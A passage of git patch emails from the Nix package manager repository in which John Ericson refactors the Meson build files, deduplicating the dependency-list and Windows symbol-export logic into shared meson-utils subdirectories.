the private dependencies also matter as they can -# potentially affect the public ABI. -deps_public = [ ] - -# These are dependencencies without pkg-config files. Ideally they are -# just private, but they may also be public (e.g. boost). -deps_other = [ ] +subdir('meson-utils') configdata = configuration_data() @@ -315,21 +286,4 @@ if host_machine.system() == 'windows' libraries_private += ['-lws2_32'] endif -import('pkgconfig').generate( - this_library, - filebase : meson.project_name(), - name : 'Nix', - description : 'Nix Package Manager', - subdirs : ['nix'], - extra_cflags : ['-std=c++2a'], - requires : deps_public, - requires_private : deps_private, - libraries_private : libraries_private, -) - -meson.override_dependency(meson.project_name(), declare_dependency( - include_directories : include_dirs, - link_with : this_library, - compile_args : ['-std=c++2a'], - dependencies : [], -)) +subdir('meson-utils/export') From d902481a365c82c7620bcfd2c661589c0246fe00 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:19:42 -0400 Subject: [PATCH 0945/1251] Better org --- meson-utils/{ => deps-lists}/meson.build | 0 src/libexpr-c/meson.build | 2 +- src/libexpr-test-support/meson.build | 2 +- src/libexpr-test/meson.build | 2 +- src/libexpr/meson.build | 2 +- src/libfetchers-test/meson.build | 2 +- src/libfetchers/meson.build | 2 +- src/libflake-test/meson.build | 2 +- src/libflake/meson.build | 2 +- src/libstore-c/meson.build | 2 +- src/libstore-test-support/meson.build | 2 +- src/libstore-test/meson.build | 2 +- src/libstore/meson.build | 2 +- src/libutil-c/meson.build | 2 +- src/libutil-test-support/meson.build | 2 +- src/libutil-test/meson.build | 2 +- src/libutil/meson.build | 2 +- 17 files changed, 16 insertions(+), 16 deletions(-) rename meson-utils/{ => deps-lists}/meson.build (100%) diff --git a/meson-utils/meson.build b/meson-utils/deps-lists/meson.build similarity index 100% rename from meson-utils/meson.build rename to meson-utils/deps-lists/meson.build diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index e20589484..af4965b54 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -14,7 +14,7 @@ project('nix-expr-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index 15138744f..2755ce8f0 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -14,7 +14,7 @@ project('nix-expr-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index cf6fb477c..78701d6c3 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -14,7 +14,7 @@ project('nix-expr-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 401ac6673..3c06710a2 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -14,7 +14,7 @@ project('nix-expr', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index ceadaf22a..98a5bb549 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -14,7 +14,7 @@ project('nix-fetchers-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 6954358af..491324c7f 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -14,7 +14,7 @@ project('nix-fetchers', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index 4ae532800..00fe90f6e 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -14,7 +14,7 @@ project('nix-flake-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libflake/meson.build b/src/libflake/meson.build index bb85543a2..18c667b54 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -14,7 +14,7 @@ project('nix-flake', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 48efbae6f..66446fa20 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -14,7 +14,7 @@ project('nix-store-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index 3f7104062..9acb6b4ad 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -14,7 +14,7 @@ project('nix-store-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index ed86a0ea9..0753f9e71 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -14,7 +14,7 @@ project('nix-store-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 2acd03f23..6e79a0e85 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -14,7 +14,7 @@ project('nix-store', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index b8e25d213..612138ad9 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -14,7 +14,7 @@ project('nix-util-c', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index 1dee897cb..00e39f6ab 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -14,7 +14,7 @@ project('nix-util-test-support', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index e91675455..0be920a41 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -14,7 +14,7 @@ project('nix-util-test', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') foreach nix_dep : [ dependency('nix-util'), diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 036a867db..337480d82 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -14,7 +14,7 @@ project('nix-util', 'cpp', cxx = meson.get_compiler('cpp') -subdir('meson-utils') +subdir('meson-utils/deps-lists') configdata = configuration_data() From 4609ab318cc81df3c3f686cd8c444a2557f08420 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:21:00 -0400 Subject: [PATCH 0946/1251] Fix internal API docs --- src/internal-api-docs/meson.build | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/internal-api-docs/meson.build b/src/internal-api-docs/meson.build index 2568c56cf..54eb7e5dd 100644 --- a/src/internal-api-docs/meson.build +++ b/src/internal-api-docs/meson.build @@ -12,7 +12,7 @@ doxygen_cfg = configure_file( configuration : { 'PROJECT_NUMBER': meson.project_version(), 'OUTPUT_DIRECTORY' : meson.current_build_dir(), - 'src' : fs.parent(fs.parent(meson.project_source_root())), + 'src' : fs.parent(fs.parent(meson.project_source_root())) / 'src', }, ) From c88f83b471030e6b065b0cb678f59f3d4696cb18 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:34:03 -0400 Subject: [PATCH 0947/1251] More dedup --- meson-utils/subprojects/meson.build | 19 +++++++++++++++++++ src/libexpr-c/meson.build | 25 ++++++------------------- src/libexpr-test-support/meson.build | 13 ++++--------- src/libexpr-test/meson.build | 13 ++++--------- src/libexpr/meson.build | 13 ++++--------- src/libfetchers-test/meson.build | 13 ++++--------- src/libfetchers/meson.build | 13 ++++--------- src/libflake-test/meson.build | 13 ++++--------- src/libflake/meson.build | 13 ++++--------- src/libstore-c/meson.build | 25 ++++++------------------- src/libstore-test-support/meson.build | 13 ++++--------- src/libstore-test/meson.build | 13 ++++--------- src/libstore/meson.build | 13 ++++--------- src/libutil-c/meson.build | 22 +++------------------- src/libutil-test-support/meson.build | 13 ++++--------- src/libutil-test/meson.build | 13 ++++--------- src/libutil/meson.build | 6 ++++++ 17 files changed, 88 insertions(+), 165 deletions(-) create mode 100644 meson-utils/subprojects/meson.build diff --git a/meson-utils/subprojects/meson.build b/meson-utils/subprojects/meson.build new file mode 100644 index 000000000..30a54ed91 --- /dev/null +++ b/meson-utils/subprojects/meson.build @@ -0,0 +1,19 @@ +foreach maybe_subproject_dep : deps_private_maybe_subproject + if maybe_subproject_dep.type_name() == 'internal' + deps_private_subproject += maybe_subproject_dep + # subproject sadly no good for pkg-config module + deps_other += maybe_subproject_dep + else + deps_private += maybe_subproject_dep + endif +endforeach + +foreach maybe_subproject_dep : deps_public_maybe_subproject + if maybe_subproject_dep.type_name() == 'internal' + deps_public_subproject += maybe_subproject_dep + # subproject sadly no good for pkg-config module + deps_other += maybe_subproject_dep + else + deps_public += maybe_subproject_dep + endif +endforeach diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index af4965b54..50616d0d8 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -18,32 +18,19 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() -foreach nix_dep : [ +deps_private_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), dependency('nix-expr'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach - -foreach nix_dep : [ +deps_public_maybe_subproject = [ dependency('nix-util-c'), dependency('nix-store-c'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) config_h = configure_file( configuration : configdata, diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index 2755ce8f0..5dbc6b1b5 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -16,21 +16,16 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-test-support'), dependency('nix-store'), dependency('nix-store-test-support'), dependency('nix-expr'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index 78701d6c3..cf1c48729 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), @@ -27,14 +29,7 @@ foreach nix_dep : [ dependency('nix-expr-c'), dependency('nix-expr-test-support'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' # Windows DLLs are stricter about symbol visibility than Unix shared diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index 3c06710a2..30981a66e 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -18,19 +18,14 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), dependency('nix-fetchers'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') # This is only conditional to work around # https://github.com/mesonbuild/meson/issues/13293. It should be diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index 98a5bb549..7f35cbeca 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), @@ -25,14 +27,7 @@ foreach nix_dep : [ dependency('nix-store-test-support'), dependency('nix-fetchers'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' # Windows DLLs are stricter about symbol visibility than Unix shared diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build index 491324c7f..07ec2bc57 100644 --- a/src/libfetchers/meson.build +++ b/src/libfetchers/meson.build @@ -18,18 +18,13 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index 00fe90f6e..1a488ec13 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), @@ -28,14 +30,7 @@ foreach nix_dep : [ dependency('nix-expr-test-support'), dependency('nix-flake'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' # Windows DLLs are stricter about symbol visibility than Unix shared diff --git a/src/libflake/meson.build b/src/libflake/meson.build index 18c667b54..b0c172f0c 100644 --- a/src/libflake/meson.build +++ b/src/libflake/meson.build @@ -16,20 +16,15 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), dependency('nix-fetchers'), dependency('nix-expr'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') deps_public += nlohmann_json diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 66446fa20..3e59050fd 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -18,30 +18,17 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() -foreach nix_dep : [ +deps_private_maybe_subproject = [ dependency('nix-util'), dependency('nix-store'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach - -foreach nix_dep : [ +deps_public_maybe_subproject = [ dependency('nix-util-c'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') + +# TODO rename, because it will conflict with downstream projects +configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) config_h = configure_file( configuration : configdata, diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index 9acb6b4ad..959125561 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -16,19 +16,14 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-test-support'), dependency('nix-store'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 0753f9e71..4469c6d6a 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -16,7 +16,9 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), @@ -24,14 +26,7 @@ foreach nix_dep : [ dependency('nix-store-c'), dependency('nix-store-test-support'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' # Windows DLLs are stricter about symbol visibility than Unix shared diff --git a/src/libstore/meson.build b/src/libstore/meson.build index 6e79a0e85..d5dcb1931 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -23,17 +23,12 @@ configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) configdata.set_quoted('SYSTEM', host_machine.system()) -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') run_command('ln', '-s', meson.project_build_root() / '__nothing_link_target', diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build index 612138ad9..35338cbbc 100644 --- a/src/libutil-c/meson.build +++ b/src/libutil-c/meson.build @@ -18,28 +18,12 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() -foreach nix_dep : [ +deps_private_maybe_subproject = [ dependency('nix-util'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach - -foreach nix_dep : [ +deps_public_maybe_subproject = [ ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') # TODO rename, because it will conflict with downstream projects configdata.set_quoted('PACKAGE_VERSION', meson.project_version()) diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build index 00e39f6ab..1b8a14355 100644 --- a/src/libutil-test-support/meson.build +++ b/src/libutil-test-support/meson.build @@ -16,17 +16,12 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), ] - if nix_dep.type_name() == 'internal' - deps_public_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_public += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') rapidcheck = dependency('rapidcheck') deps_public += rapidcheck diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build index 0be920a41..36e8c2288 100644 --- a/src/libutil-test/meson.build +++ b/src/libutil-test/meson.build @@ -16,19 +16,14 @@ cxx = meson.get_compiler('cpp') subdir('meson-utils/deps-lists') -foreach nix_dep : [ +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ dependency('nix-util'), dependency('nix-util-c'), dependency('nix-util-test-support'), ] - if nix_dep.type_name() == 'internal' - deps_private_subproject += nix_dep - # subproject sadly no good for pkg-config module - deps_other += nix_dep - else - deps_private += nix_dep - endif -endforeach +subdir('meson-utils/subprojects') if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' # Windows DLLs are stricter about symbol visibility than Unix shared diff --git a/src/libutil/meson.build b/src/libutil/meson.build index 337480d82..d0e9f02c4 100644 --- a/src/libutil/meson.build +++ b/src/libutil/meson.build @@ -18,6 +18,12 @@ subdir('meson-utils/deps-lists') configdata = configuration_data() +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ +] +subdir('meson-utils/subprojects') + # Check for each of these functions, and create a define like `#define # HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1 # for found. One therefore uses it with `#if` not `#ifdef`. From d6f57f3260c9a8c66367f7cedfc256b3b0894acd Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 27 Jun 2024 12:42:43 -0400 Subject: [PATCH 0948/1251] More dedup --- meson-utils/export-all-symbols/meson.build | 11 +++++++++++ src/libexpr-c/meson.build | 12 +----------- src/libexpr-test-support/meson.build | 12 +----------- src/libexpr-test/meson.build | 12 +----------- src/libfetchers-test/meson.build | 12 +----------- src/libflake-test/meson.build | 12 +----------- src/libstore-c/meson.build | 12 +----------- src/libstore-test-support/meson.build | 12 +----------- src/libstore-test/meson.build | 12 +----------- src/libstore/meson.build | 7 +------ src/libutil-c/meson.build | 12 +----------- src/libutil-test-support/meson.build | 12 +----------- src/libutil-test/meson.build | 12 +----------- src/libutil/meson.build | 12 +----------- 14 files changed, 24 insertions(+), 138 deletions(-) create mode 100644 meson-utils/export-all-symbols/meson.build diff --git a/meson-utils/export-all-symbols/meson.build b/meson-utils/export-all-symbols/meson.build new file mode 100644 index 000000000..d7c086749 --- /dev/null +++ b/meson-utils/export-all-symbols/meson.build @@ -0,0 +1,11 @@ +if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' + # Windows DLLs are stricter about symbol visibility than Unix shared + # objects --- see https://gcc.gnu.org/wiki/Visibility for details. + # This is a temporary sledgehammer to export everything like on Unix, + # and not detail with this yet. + # + # TODO do not do this, and instead do fine-grained export annotations. + linker_export_flags = ['-Wl,--export-all-symbols'] +else + linker_export_flags = [] +endif diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build index 50616d0d8..b242c2d8e 100644 --- a/src/libexpr-c/meson.build +++ b/src/libexpr-c/meson.build @@ -79,17 +79,7 @@ headers = [config_h] + files( 'nix_api_value.h', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nixexprc', diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build index 5dbc6b1b5..4209a4464 100644 --- a/src/libexpr-test-support/meson.build +++ b/src/libexpr-test-support/meson.build @@ -63,17 +63,7 @@ headers = files( 'tests/value/context.hh', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nix-expr-test-support', diff --git a/src/libexpr-test/meson.build b/src/libexpr-test/meson.build index cf1c48729..11ab5c6e2 100644 --- a/src/libexpr-test/meson.build +++ b/src/libexpr-test/meson.build @@ -31,17 +31,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libfetchers-test/meson.build b/src/libfetchers-test/meson.build index 7f35cbeca..846d2d70a 100644 --- a/src/libfetchers-test/meson.build +++ b/src/libfetchers-test/meson.build @@ -29,17 +29,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build index 1a488ec13..e4665ce9c 100644 --- a/src/libflake-test/meson.build +++ b/src/libflake-test/meson.build @@ -32,17 +32,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build index 3e59050fd..b86209720 100644 --- a/src/libstore-c/meson.build +++ b/src/libstore-c/meson.build @@ -71,17 +71,7 @@ headers = [config_h] + files( 'nix_api_store.h', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter ab_subprojectout symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nixstorec', diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build index 959125561..9c798e9cb 100644 --- a/src/libstore-test-support/meson.build +++ b/src/libstore-test-support/meson.build @@ -65,17 +65,7 @@ headers = files( 'tests/protocol.hh', ) -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') this_library = library( 'nix-store-test-support', diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build index 4469c6d6a..3ec7fbbd7 100644 --- a/src/libstore-test/meson.build +++ b/src/libstore-test/meson.build @@ -28,17 +28,7 @@ deps_public_maybe_subproject = [ ] subdir('meson-utils/subprojects') -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # Windows DLLs are stricter about symbol visibility than Unix shared - # objects --- see https://gcc.gnu.org/wiki/Visibility for details. - # This is a temporary sledgehammer to export everything like on Unix, - # and not detail with this yet. - # - # TODO do not do this, and instead do fine-grained export annotations. - linker_export_flags = ['-Wl,--export-all-symbols'] -else - linker_export_flags = [] -endif +subdir('meson-utils/export-all-symbols') rapidcheck = dependency('rapidcheck') deps_private += rapidcheck diff --git a/src/libstore/meson.build b/src/libstore/meson.build index d5dcb1931..a552fc819 100644 --- a/src/libstore/meson.build +++ b/src/libstore/meson.build @@ -401,12 +401,7 @@ foreach name, value : cpp_str_defines ] endforeach -if host_machine.system() == 'cygwin' or host_machine.system() == 'windows' - # See note in `../nix-util/meson.build` - linker_export_flags = 